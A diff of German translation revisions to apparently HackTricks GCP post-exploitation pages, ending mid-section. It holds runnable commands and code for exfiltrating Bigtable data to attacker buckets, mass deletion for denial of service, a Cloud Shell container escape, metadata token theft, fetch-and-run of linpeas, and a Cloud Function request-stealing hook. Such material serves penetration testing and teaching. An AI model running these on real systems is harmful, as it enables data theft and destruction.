../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+18
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Für Informationen über App Engine siehe:
|
||||
Für Informationen zu App Engine siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -14,28 +14,34 @@ Für Informationen über App Engine siehe:
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich:
|
||||
|
||||
- Einen Schlüssel hinzuzufügen
|
||||
- Schlüssel aufzulisten
|
||||
- Einen Schlüssel abzurufen
|
||||
- Zu löschen
|
||||
- Einen Key hinzufügen
|
||||
- Keys auflisten
|
||||
- Einen Key abrufen
|
||||
- Löschen
|
||||
|
||||
> [!CAUTION]
|
||||
> Ich **konnte jedoch keinen Weg finden, um auf diese Informationen über die CLI zuzugreifen**, nur über die **Webkonsole**, wo Sie den **Schlüsseltyp** und den **Schlüsselname** kennen müssen, oder von der **App Engine laufenden App**.
|
||||
> Ich konnte jedoch **keinen Weg finden, über die cli auf diese Informationen zuzugreifen**, nur über die **web console** wo du den **Key type** und den **Key name** kennen musst, of von der a**pp engine running app**.
|
||||
>
|
||||
> Wenn Sie einfachere Möglichkeiten kennen, diese Berechtigungen zu nutzen, senden Sie einen Pull Request!
|
||||
> Wenn du einfachere Wege kennst, diese Berechtigungen zu nutzen, sende bitte einen Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **die Protokolle der App zu sehen**:
|
||||
Mit dieser Berechtigung ist es möglich, **die Logs der App zu sehen**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### Quellcode lesen
|
||||
</details>
|
||||
|
||||
Der Quellcode aller Versionen und Dienste wird **im Bucket** mit dem Namen **`staging.<proj-id>.appspot.com`** **gespeichert**. Wenn Sie Schreibzugriff darauf haben, können Sie den Quellcode lesen und nach **Schwachstellen** und **sensiblen Informationen** suchen.
|
||||
### Source Code lesen
|
||||
|
||||
### Quellcode ändern
|
||||
Der Source Code aller Versionen und Services wird **im Bucket gespeichert** mit dem Namen **`staging.<proj-id>.appspot.com`**. Wenn Sie Schreibzugriff darauf haben, können Sie den Source Code lesen und nach **vulnerabilities** und **sensiblen Informationen** suchen.
|
||||
|
||||
Ändern Sie den Quellcode, um Anmeldeinformationen zu stehlen, wenn sie gesendet werden, oder führen Sie einen Defacement-Webangriff durch.
|
||||
### Source Code ändern
|
||||
|
||||
Ändern Sie den Source Code, um credentials zu stehlen, falls diese gesendet werden, oder um eine defacement web attack durchzuführen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+94
-34
@@ -11,30 +11,46 @@ Für weitere Informationen zu Bigtable siehe:
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installieren Sie die `cbt`-CLI einmal über das Cloud SDK, damit die untenstehenden Befehle lokal funktionieren:
|
||||
> Installiere die `cbt` CLI einmal über das Cloud SDK, damit die untenstehenden Befehle lokal funktionieren:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>cbt CLI installieren</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### Zeilen lesen
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` wird mit dem Cloud SDK ausgeliefert und spricht direkt mit den Admin-/Data-APIs, ohne Middleware zu benötigen. Richten Sie es auf das kompromittierte Projekt/Instanz und lesen Sie Zeilen direkt aus der Tabelle aus. Begrenzen Sie den Scan, wenn Sie nur einen kurzen Blick benötigen.
|
||||
`cbt` wird mit dem Cloud SDK geliefert und kommuniziert direkt mit den admin/data APIs, ohne zusätzliche Middleware. Richte es auf das kompromittierte project/instance und extrahiere die Zeilen direkt aus der Tabelle. Beschränke den Scan, wenn du nur kurz hineinschauen willst.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable-Einträge lesen</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Zeilen schreiben
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.mutateRows` (Sie benötigen `bigtable.tables.readRows`, um die Änderung zu bestätigen).
|
||||
**Berechtigungen:** `bigtable.tables.mutateRows`, (Sie benötigen `bigtable.tables.readRows`, um die Änderung zu bestätigen).
|
||||
|
||||
Verwenden Sie dasselbe Tool, um beliebige Zellen zu upserten. Das ist der schnellste Weg, um configs zu backdooren, web shells zu droppen oder poisoned dataset rows zu platzieren.
|
||||
Verwenden Sie dasselbe Tool, um upsert arbitrary cells. Dies ist der schnellste Weg, um backdoor configs zu platzieren, web shells abzulegen oder poisoned dataset rows zu pflanzen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bösartige Zeile injizieren</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` akzeptiert rohe Bytes über die `@/path`-Syntax, sodass du kompilierte payloads oder serialisierte protobufs genau so hochladen kannst, wie downstream services es erwarten.
|
||||
</details>
|
||||
|
||||
`cbt set` akzeptiert Rohbytes über die `@/path`-Syntax, sodass Sie kompilierte payloads oder serialisierte protobufs genau so hochladen können, wie es die downstream-Services erwarten.
|
||||
|
||||
### Zeilen in deinen Bucket exportieren
|
||||
|
||||
**Berechtigungen:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es ist möglich, die Inhalte einer gesamten Tabelle in einen vom attacker kontrollierten Bucket zu exfiltrate, indem du einen Dataflow-Job startest, der Zeilen in einen von dir kontrollierten GCS-Bucket streamt.
|
||||
Es ist möglich, den Inhalt einer gesamten Tabelle in einen vom Angreifer kontrollierten Bucket zu exfiltrieren, indem man einen Dataflow-Job startet, der Zeilen in einen GCS-Bucket streamt, den man kontrolliert.
|
||||
|
||||
> [!NOTE]
|
||||
> Beachte, dass du die Berechtigung `iam.serviceAccounts.actAs` für ein SA benötigst, das genügend Rechte hat, um den Export durchzuführen (standardmäßig, falls nicht anders angegeben, wird das default compute SA verwendet).
|
||||
> Beachte, dass du die Berechtigung `iam.serviceAccounts.actAs` für ein SA mit ausreichenden Rechten benötigst, um den Export durchzuführen (standardmäßig — sofern nicht anders angegeben — wird das default compute SA verwendet).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Export Bigtable to GCS bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Wechseln Sie die Vorlage zu `Cloud_Bigtable_to_GCS_Parquet` oder `Cloud_Bigtable_to_GCS_SequenceFile`, wenn Sie Parquet/SequenceFile-Ausgaben statt JSON wünschen. Die Berechtigungen sind dieselben; nur der Vorlagenpfad ändert sich.
|
||||
> Wechseln Sie die Vorlage zu `Cloud_Bigtable_to_GCS_Parquet` oder `Cloud_Bigtable_to_GCS_SequenceFile`, wenn Sie Parquet/SequenceFile-Ausgaben statt JSON möchten. Die Berechtigungen sind dieselben; nur der Vorlagenpfad ändert sich.
|
||||
|
||||
### Zeilen importieren
|
||||
|
||||
**Berechtigungen:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es ist möglich, den Inhalt einer gesamten Tabelle aus einem vom Angreifer kontrollierten Bucket zu importieren, indem ein Dataflow-Job gestartet wird, der Zeilen in einen von Ihnen kontrollierten GCS-Bucket streamt. Dafür muss der Angreifer zunächst eine Parquet-Datei mit den zu importierenden Daten im erwarteten Schema erstellen. Ein Angreifer könnte die Daten zunächst im Parquet-Format exportieren, wie in der vorherigen Technik beschrieben, mit der Einstellung `Cloud_Bigtable_to_GCS_Parquet` und dann neue Einträge in die heruntergeladene Parquet-Datei hinzufügen.
|
||||
Es ist möglich, den Inhalt einer gesamten Tabelle aus einem vom Angreifer kontrollierten Bucket zu importieren, indem man einen Dataflow-Job startet, der Zeilen in einen von Ihnen kontrollierten GCS-Bucket streamt. Dafür muss der Angreifer zunächst eine parquet-Datei mit den zu importierenden Daten im erwarteten Schema erstellen. Ein Angreifer könnte die Daten zunächst im parquet-Format exportieren, indem er der vorherigen Technik folgt und die Einstellung `Cloud_Bigtable_to_GCS_Parquet` verwendet, und anschließend neue Einträge in die heruntergeladene parquet-Datei hinzufügen.
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass Sie die Berechtigung `iam.serviceAccounts.actAs` für ein SA benötigen, das über ausreichende Rechte verfügt, um den Export durchzuführen (standardmäßig, sofern nicht anders angegeben, wird das default compute SA verwendet).
|
||||
> Beachten Sie, dass Sie die Berechtigung `iam.serviceAccounts.actAs` über ein SA mit ausreichenden Rechten benötigen, um den Export durchzuführen (standardmäßig, sofern nicht anders angegeben, wird das default compute SA verwendet).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import von GCS-Bucket nach Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### Backups wiederherstellen
|
||||
|
||||
**Berechtigungen:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann ein Backup in eine neue Tabelle unter eigener Kontrolle wiederherstellen, um alte sensible Daten wiederherzustellen.
|
||||
Ein Angreifer mit diesen Berechtigungen kann ein Backup in eine neue, von ihm kontrollierte Tabelle wiederherstellen, um alte sensible Daten zu rekonstruieren.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable-Backup wiederherstellen</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Tabellen wiederherstellen (Undelete tables)
|
||||
</details>
|
||||
|
||||
### Gelöschte Tabellen wiederherstellen
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable unterstützt Soft-Deletion mit einer Schonfrist (typischerweise standardmäßig 7 Tage). Während dieses Zeitraums kann ein Angreifer mit der Berechtigung `bigtable.tables.undelete` eine kürzlich gelöschte Tabelle wiederherstellen und alle ihre Daten zurückgewinnen, wodurch er möglicherweise auf sensible Informationen zugreifen kann, die als vernichtet galten.
|
||||
Bigtable unterstützt weiche Löschung (soft-deletion) mit einer Schonfrist (typischerweise standardmäßig 7 Tage). Während dieses Zeitraums kann ein Angreifer mit der Berechtigung `bigtable.tables.undelete` eine kürzlich gelöschte Tabelle wiederherstellen und alle ihre Daten zurückgewinnen, wodurch möglicherweise auf sensitive Informationen zugegriffen wird, die als vernichtet galten.
|
||||
|
||||
Dies ist besonders nützlich für:
|
||||
- Wiederherstellen von Daten aus Tabellen, die von Verteidigern während des Incident Response gelöscht wurden
|
||||
- Wiederherstellung von Daten aus Tabellen, die während der Incident Response von Verteidigern gelöscht wurden
|
||||
- Zugriff auf historische Daten, die absichtlich gelöscht wurden
|
||||
- Rückgängigmachen von versehentlichen oder böswilligen Löschungen, um Persistence aufrechtzuerhalten
|
||||
- Rückgängigmachen versehentlicher oder böswilliger Löschungen, um Persistenz zu erhalten
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Gelöschte Bigtable-Tabelle wiederherstellen</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Die Undelete-Operation funktioniert nur innerhalb des konfigurierten Aufbewahrungszeitraums (Standard: 7 Tage). Nachdem dieses Zeitfenster abgelaufen ist, werden die Tabelle und ihre Daten dauerhaft gelöscht und können über diese Methode nicht wiederhergestellt werden.
|
||||
> Der undelete-Vorgang funktioniert nur innerhalb des konfigurierten Aufbewahrungszeitraums (Standard 7 Tage). Nach Ablauf dieses Zeitraums werden die Tabelle und ihre Daten dauerhaft gelöscht und können mit dieser Methode nicht wiederhergestellt werden.
|
||||
|
||||
|
||||
### Autorisierte Views erstellen
|
||||
### Erstellen von Authorized Views
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Autorisierte Views ermöglichen es, einen kuratierten Teil der Tabelle darzustellen. Anstatt Least Privilege zu beachten, verwenden Sie sie, um **genau die sensiblen Spalten-/Zeilenmengen** zu veröffentlichen, die Ihnen wichtig sind, und setzen Sie Ihr eigenes Principal auf die Whitelist.
|
||||
Authorized views ermöglichen es, eine kuratierte Teilmenge der Tabelle darzustellen. Anstatt dem Prinzip der minimalen Rechte zu folgen, verwenden Sie sie, um **genau die sensitiven Spalten-/Zeilenmengen** zu veröffentlichen, die Sie interessieren, und setzen Sie Ihren eigenen Principal auf die Whitelist.
|
||||
|
||||
> [!WARNING]
|
||||
> Die Sache ist: Um eine autorisierte View zu erstellen, müssen Sie außerdem Zeilen in der Basistabelle lesen und mutieren können. Sie erhalten dadurch also keine zusätzlichen Berechtigungen — diese Technik ist daher größtenteils nutzlos.
|
||||
> Der Punkt ist, dass man, um eine authorized view zu erstellen, auch Zeilen in der Basistabelle lesen und verändern können muss; daher erhält man keine zusätzlichen Berechtigungen — diese Technik ist deshalb größtenteils nutzlos.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Authorized view erstellen</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Da der Zugriff auf die View beschränkt ist, übersehen Verteidiger oft, dass Sie gerade einen neuen hochsensitiven Endpunkt erstellt haben.
|
||||
</details>
|
||||
|
||||
### Authorized Views lesen
|
||||
Da der Zugriff auf die Ansicht beschränkt ist, übersehen Verteidiger oft, dass du gerade einen neuen hochsensiblen Endpunkt erstellt hast.
|
||||
|
||||
### Autorisierte Views lesen
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Wenn Sie Zugriff auf eine Authorized View haben, können Sie Daten daraus mithilfe der Bigtable-Clientbibliotheken lesen, indem Sie den Namen der Authorized View in Ihren Leseanfragen angeben. Beachten Sie, dass die Authorized View wahrscheinlich einschränkt, worauf Sie in der Tabelle zugreifen können. Im Folgenden ein Beispiel mit Python:
|
||||
Wenn du Zugriff auf eine autorisierte Ansicht hast, kannst du Daten daraus mit den Bigtable-Clientbibliotheken lesen, indem du den Namen der autorisierten Ansicht in deinen Leseanfragen angibst. Beachte, dass die autorisierte Ansicht vermutlich einschränkt, worauf du aus der Tabelle zugreifen kannst. Unten ein Beispiel in Python:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aus einer autorisierten Ansicht lesen (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service durch Löschoperationen
|
||||
|
||||
**Berechtigungen:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Jede der Bigtable-Löschberechtigungen kann für denial of service-Angriffe missbraucht werden. Ein Angreifer mit diesen Berechtigungen kann den Betrieb stören, indem er kritische Bigtable-Ressourcen löscht:
|
||||
Jede der Bigtable-Löschberechtigungen kann für Denial-of-Service-Angriffe missbraucht werden. Ein Angreifer mit diesen Berechtigungen kann den Betrieb stören, indem er kritische Bigtable-Ressourcen löscht:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Löscht Anwendungsprofile und unterbricht dadurch Client-Verbindungen sowie Routing-Konfigurationen
|
||||
- **`bigtable.authorizedViews.delete`**: Entfernt autorisierte Views und kappt legitime Zugriffswege für Anwendungen
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Entfernt Tag-Bindings von autorisierten Views
|
||||
- **`bigtable.backups.delete`**: Zerstört Backup-Snapshots und eliminiert damit Disaster-Recovery-Optionen
|
||||
- **`bigtable.clusters.delete`**: Löscht komplette Cluster und verursacht sofortige Datenunverfügbarkeit
|
||||
- **`bigtable.instances.delete`**: Entfernt komplette Bigtable-Instanzen und löscht alle Tabellen und Konfigurationen
|
||||
- **`bigtable.tables.delete`**: Löscht einzelne Tabellen und verursacht Datenverlust sowie Ausfälle von Anwendungen
|
||||
- **`bigtable.appProfiles.delete`**: Anwendungprofile löschen, wodurch Client-Verbindungen und Routing-Konfigurationen unterbrochen werden
|
||||
- **`bigtable.authorizedViews.delete`**: Autorisierte Views entfernen und legitime Zugriffspfade für Anwendungen abschneiden
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Tag-Bindings aus autorisierten Views entfernen
|
||||
- **`bigtable.backups.delete`**: Backup-Snapshots zerstören und Disaster-Recovery-Optionen eliminieren
|
||||
- **`bigtable.clusters.delete`**: Ganze Cluster löschen, was sofortige Datenunverfügbarkeit zur Folge hat
|
||||
- **`bigtable.instances.delete`**: Komplette Bigtable-Instanzen entfernen und alle Tabellen sowie Konfigurationen löschen
|
||||
- **`bigtable.tables.delete`**: Einzelne Tabellen löschen, was Datenverluste und Anwendungsfehler verursacht
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable-Ressourcen löschen</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> Löschvorgänge sind häufig sofort und unwiderruflich. Stellen Sie sicher, dass vor dem Testen dieser Befehle Backups vorhanden sind, da sie zu dauerhaftem Datenverlust und schweren Dienstunterbrechungen führen können.
|
||||
> Löschvorgänge sind häufig sofort und irreversibel. Stellen Sie vor dem Testen dieser Befehle sicher, dass Backups vorhanden sind, da sie dauerhaften Datenverlust und schwerwiegende Dienstunterbrechungen verursachen können.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-1
@@ -12,7 +12,11 @@ Für weitere Informationen zu Cloud Build siehe:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
Mit dieser Berechtigung können Sie die Ausführung eines **Codebuilds, der Genehmigungen erfordert**, genehmigen.
|
||||
Mit dieser Berechtigung können Sie die Ausführung eines **codebuild, das Genehmigungen erfordert**, genehmigen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Build-Ausführung genehmigen</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+18
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Finden Sie einige Informationen über Cloud Functions in:
|
||||
Weitere Informationen zu Cloud Functions finden Sie in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Finden Sie einige Informationen über Cloud Functions in:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Mit dieser Berechtigung können Sie eine **signierte URL erhalten, um den Quellcode** der Cloud Function herunterzuladen:
|
||||
Mit dieser Berechtigung können Sie eine **signierte URL erhalten, um den Quellcode der Cloud Function herunterladen zu können:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signierte URL zum Herunterladen des Quellcodes abrufen</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
Wenn die Cloud Function sensible Informationen verwaltet, die von Benutzern gesendet werden (z. B. Passwörter oder Tokens), könnten Sie mit ausreichenden Berechtigungen **den Quellcode der Funktion ändern und diese Informationen exfiltrieren**.
|
||||
Wenn die Cloud Function sensible Informationen verarbeitet, die Nutzer senden (z. B. Passwörter oder Tokens), könnten Sie mit ausreichenden Rechten **modify the source code of the function and exfiltrate** diese Informationen.
|
||||
|
||||
Darüber hinaus verwenden Cloud Functions, die in Python laufen, **flask**, um den Webserver bereitzustellen. Wenn Sie irgendwie eine Code-Injektionsanfälligkeit im Flask-Prozess finden (eine SSTI-Anfälligkeit zum Beispiel), ist es möglich, **den Funktionshandler zu überschreiben**, der die HTTP-Anfragen für eine **bösartige Funktion** empfangen wird, die die **Anfrage exfiltrieren** kann, bevor sie an den legitimen Handler weitergeleitet wird.
|
||||
Außerdem verwenden Cloud Functions, die in python laufen, **flask**, um den Webserver bereitzustellen. Wenn Sie auf irgendeine Weise eine code injection vulnerability innerhalb des flask-Prozesses finden (z. B. eine SSTI vulnerability), ist es möglich, **override the function handler** zu erreichen, der die HTTP requests für eine **malicious function** empfangen wird, die die Anfrage **exfiltrate** kann, bevor sie an den legit handler weitergeleitet wird.
|
||||
|
||||
Zum Beispiel implementiert dieser Code den Angriff:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steal Cloud Function requests (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+75
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Für weitere Informationen über Cloud Shell siehe:
|
||||
Weitere Informationen zu Cloud Shell:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,22 +12,38 @@ Für weitere Informationen über Cloud Shell siehe:
|
||||
|
||||
### Container Escape
|
||||
|
||||
Beachte, dass die Google Cloud Shell in einem Container läuft, du kannst **einfach zum Host entkommen**, indem du:
|
||||
Hinweis: Die Google Cloud Shell läuft in einem Container; du kannst **easily escape to the host** wie folgt:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
Dies wird von Google nicht als Schwachstelle betrachtet, bietet jedoch einen umfassenderen Überblick darüber, was in dieser Umgebung geschieht.
|
||||
</details>
|
||||
|
||||
Außerdem beachten Sie, dass Sie vom Host aus ein Dienstkonto-Token finden können:
|
||||
Dies wird von google nicht als Verwundbarkeit betrachtet, aber es gibt Ihnen einen breiteren Einblick in das, was in dieser Umgebung passiert.
|
||||
|
||||
Außerdem beachten Sie, dass Sie vom Host aus ein Service-Account-Token finden können:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
Mit den folgenden Bereichen:
|
||||
</details>
|
||||
|
||||
Mit den folgenden scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Service account scopes abrufen</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Metadaten mit LinPEAS auflisten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Metadaten mit LinPEAS auflisten</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
Nach der Verwendung von [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) mit dem Token des Servicekontos **wurden keine Berechtigungen entdeckt**...
|
||||
</details>
|
||||
|
||||
### Verwenden Sie es als Proxy
|
||||
Nachdem Sie [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) mit dem Token des Service Account verwendet haben, wurden **keine Berechtigungen festgestellt**...
|
||||
|
||||
Wenn Sie Ihre Google Cloud Shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):
|
||||
### Als Proxy verwenden
|
||||
|
||||
Wenn Sie Ihre google cloud shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder in die .bashrc-Datei einfügen):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
Nur zur Information: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine **squid.conf**-Datei mit den folgenden Einstellungen:
|
||||
</details>
|
||||
|
||||
Nur damit Sie wissen: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine **squid.conf**-Datei mit den folgenden Einstellungen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>squid.conf-Datei erstellen</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
Kopiere die **squid.conf** Datei nach **/etc/squid**
|
||||
</details>
|
||||
|
||||
Kopiere die Datei **squid.conf** nach **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Konfiguration nach /etc/squid kopieren</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
Führen Sie schließlich den Squid-Dienst aus:
|
||||
</details>
|
||||
|
||||
Starte abschließend den Squid-Service:
|
||||
